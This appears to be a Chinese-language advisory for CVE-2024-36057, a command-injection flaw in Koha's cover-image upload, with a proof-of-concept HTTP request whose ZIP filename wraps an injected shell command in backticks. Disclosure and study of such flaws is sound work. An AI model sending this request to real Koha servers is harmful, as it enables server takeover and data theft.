CVE ID: CVE-2024-36057
产品: Koha 图书馆软件
漏洞类型: 操作系统命令注入(CWE-78)
CVSS 评分: 9.8(严重)
受影响版本: 低于 23.05.10
致谢: Karolis Narvilas
Koha 是一个开源的综合图书馆系统。在 tools/upload-cover-image.pl 的封面图片上传功能中存在一个命令注入漏洞。该应用程序使用 qx/unzip $filename -d $dirname/ 来解压上传的 ZIP 压缩包,而未对 filename 参数进行清理。
经过身份验证的高权限用户可以构造一个 ZIP 文件,其恶意文件名中包含反引号字符,从而注入任意 shell 命令,当用户点击“处理图片”时,这些命令将在服务器端执行。
影响: 远程经过身份验证的攻击者可以利用 CVE-2024-36057 在底层服务器上执行任意操作系统命令,导致系统完全被攻陷、数据泄露,以及建立持久后门或反向 shell。
https://{domain}/cgi-bin/koha/tools/upload-cover-image.pl请求:
POST /cgi-bin/koha/tools/upload-file.pl?temp=1 HTTP/1.1
Host: {domain}
Cookie: [High-Privilege Session]
Connection: close
------WebKitFormBoundaryP82Da5V6eaQOuBUT
Content-Disposition: form-data; name="file"; filename="execute`<INJECTED_COMMAND>`.zip"
Content-Type: application/x-zip-compressed
<zip file contents>
------WebKitFormBoundaryP82Da5V6eaQOuBUT--
